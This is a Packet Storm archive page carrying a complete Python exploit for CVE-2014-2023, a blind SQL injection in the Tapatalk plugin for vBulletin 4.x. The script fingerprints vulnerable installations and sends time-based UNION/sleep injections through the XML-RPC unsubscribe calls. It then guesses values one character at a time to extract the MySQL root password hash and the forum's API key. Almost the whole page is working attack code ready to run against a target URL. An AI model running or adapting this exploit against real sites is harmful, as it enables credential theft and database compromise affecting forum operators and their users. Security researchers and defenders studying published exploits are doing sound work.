exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vBulletin 4.x Tapatalk Blind SQL Injection

vBulletin 4.x Tapatalk Blind SQL Injection
Posted Oct 27, 2014
Authored by tintinweb

Tapatalk for vBulletin version 4.x suffers from multiple remote blind SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2014-2023
SHA-256 | d36d583dbde6514335981c515060f0a23012897a4fad3c25d65225595aa63eaf

vBulletin 4.x Tapatalk Blind SQL Injection

Change Mirror Download
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, urllib
import xmlrpclib,re, urllib2,string,itertools,time
from distutils.version import LooseVersion


class Exploit(object):
def __init__(self, target, debug=0 ):
self.stopwatch_start=time.time()
self.target = target
self.path = target
self.debug=debug
if not self.target.endswith("mobiquo.php"):
self.path = self.detect_tapatalk()
if not self.path:
raise Exception("Could not detect tapatalk or version not supported!")
self.rpc_connect()
self.attack_func = self.attack_2

def detect_tapatalk(self):
# request page, check for tapatalk banner
handlers = [
urllib2.HTTPHandler(debuglevel=self.debug),
urllib2.HTTPSHandler(debuglevel=self.debug),

]
ua = urllib2.build_opener(*handlers)
ua.addheaders = [('User-agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3')]
data = ua.open(self.target).read()
if self.debug:
print data
if not "tapatalkDetect()" in data:
print "[xx] could not detect tapatalk. bye..."
return None

# extract tapatalk version
print "[ i] Taptalk detected ... ",
path = "".join(re.findall(r"^\s*<link href=[\s'\"]?(http://.*?/)smartbanner/appbanner.css", data, re.MULTILINE|re.DOTALL))
path+="mobiquo.php"
print "'%s' ... "%path,
data = urllib.urlopen(path).read()
version = "".join(re.findall(r"Current Tapatalk plugin version:\s*([\d\.a-zA-Z]+)", data))
if LooseVersion(version) <= LooseVersion("5.2.1"):
print "v.%s :) - OK"%version
return path
print "v.%s :( - not vulnerable"%version
return None

def rpc_connect(self):
self.rpc = xmlrpclib.ServerProxy(self.path,verbose=self.debug)

def attack_1(self, sqli, sleep=2):

'''
SELECT subscribethreadid
FROM subscribethread AS subscribethread
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribethreadid = <INJECTION>
AND subscribethreadid.userid = 0";

<INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
'''

query = "-1 union %s and ( select sleep(%s) ) "%(sqli,sleep)
query += "union select subscribethreadid from subscribethread where 1=1 OR 1=1" # fix query for "AND subscribeforum.userid=0"

if self.debug:
print """ SELECT subscribethreadid
FROM subscribethread AS subscribethread
LEFT JOIN user AS user ON (user.userid=subscribethread.userid)
WHERE subscribethreadid = %s
AND subscribethread.userid = 0"""%query

return self.rpc.unsubscribe_topic("s_%s"%query) #no escape, invalid_char="_"

def attack_2(self, sqli, sleep=2):
'''
SELECT subscribeforumid
FROM subscribeforum AS subscribeforum
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribeforumid = <INJECTION>
AND subscribeforum.userid = 0";

<INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
'''

query = "-1 union %s and ( select sleep(%s) ) "%(sqli,sleep)
query += "union select subscribeforumid from subscribeforum where 1=1 OR 1=1" # fix query for "AND subscribeforum.userid=0"

if self.debug:
print """ SELECT subscribeforumid
FROM subscribeforum AS subscribeforum
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribeforumid = %s
AND subscribeforum.userid = 0"""%query

return self.rpc.unsubscribe_forum("s_%s"%query) #no escape, invalid_char="_"

def attack_blind(self,sqli,sleep=2):
return self.attack_func(sqli,sleep=sleep)
#return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) ) UNION SELECT 'aaa' FROM subscribethread WHERE subscribethreadid = -1 OR 1 "%sqli)

def attack_blind_guess(self,query, column, charset=string.ascii_letters+string.digits,maxlength=32, sleep=2, case=True):
'''
provide <query> = select -1 from user where user='debian-sys-maint' where <COLUMN> <GUESS>
'''


hit = False
# PHASE 1 - guess entry length
print "[ ] trying to guess length ..."
for guess_length in xrange(maxlength+1):
q = query.replace("<COLUMN>","length(%s)"%column).replace("<GUESS>","= %s"%guess_length)

self.stopwatch()
self.attack_blind(q, sleep)
duration = self.stopwatch()

print ".",

if duration >= sleep-sleep/8:
# HIT! - got length! => guess_length
hit = True
print ""
break

if not hit:
print "[ !!] unable to guess password length, check query!"
return None


print "[ *] LENGTH = %s"%guess_length

# PHASE 2 - guess password up to length
print "[ ] trying to guess value ..."
hits = 0
result = ""
for pos in xrange(guess_length):
# for each char pos in up to guessed length
for attempt in self.bruteforce(charset, 1):
# probe all chars in charset
#attempt = re.escape(attempt)
if attempt == "%%":
attempt= "\%"
#LIKE binary = case sensitive.might be better to do caseinsensitive search + recheck case with binary
q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE '%s%s%%' "%(result,attempt))

self.stopwatch()
self.attack_blind(q, sleep)
duration = self.stopwatch()

#print result,attempt," ",duration
print ".",
if duration >= sleep-sleep/8:
if case:
# case insensitive hit - recheck case: this is drastically reducing queries needed.
q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE binary '%s%s%%' "%(result,attempt.lower()))
self.stopwatch()
self.attack_blind(q, sleep)
duration = self.stopwatch()
if duration >= sleep-sleep/8:
attempt = attempt.lower()
else:
attempt = attempt.upper()
# case sensitive - end



# HIT! - got length! => guess_length
hits += 1
print ""
print "[ +] HIT! - %s[%s].."%(result,attempt)
result += attempt
break

if not hits==guess_length:
print "[ !!] unable to guess password length, check query!"
return None

print "[ *] SUCCESS!: query: %s"%(query.replace("<COLUMN>",column).replace("<GUESS>","='%s'"%result))
return result

def bruteforce(self, charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
for i in range(1, maxlength + 1)))

def stopwatch(self):
stop = time.time()
diff = stop - self.stopwatch_start
self.stopwatch_start=stop
return diff

if __name__=="__main__":
#googledork: https://www.google.at/search?q=Tapatalk+Banner+head+start
DEBUG = False
TARGET = "http://TARGET/vbb4/forum.php"
x = Exploit(TARGET,debug=DEBUG)

print "[ ] TAPATALK for vBulletin 4.x - SQLi"
print "[--] Target: %s"%TARGET
if DEBUG: print "[--] DEBUG-Mode!"

print "[ +] Attack - sqli"


query = u"-1 UNION SELECT 1%s"%unichr(0)
if DEBUG:
print u""" SELECT subscribeforumid
FROM subscribeforum AS subscribeforum
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribeforumid = %s
AND subscribeforum.userid = 0"""%query


print "[ *] guess mysql user/pass"
print x.attack_blind_guess("select -1 from mysql.user where user='root' and <COLUMN> <GUESS>",
column="password",
charset="*"+string.hexdigits,
maxlength=45) # usually 40 chars + 1 (*)

print "[ *] guess apikey"
print x.attack_blind_guess("select -1 from setting where varname='apikey' and <COLUMN> <GUESS>",
column='value',
charset=string.ascii_letters+string.digits,
maxlength=14,
)

print "-- done --"



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close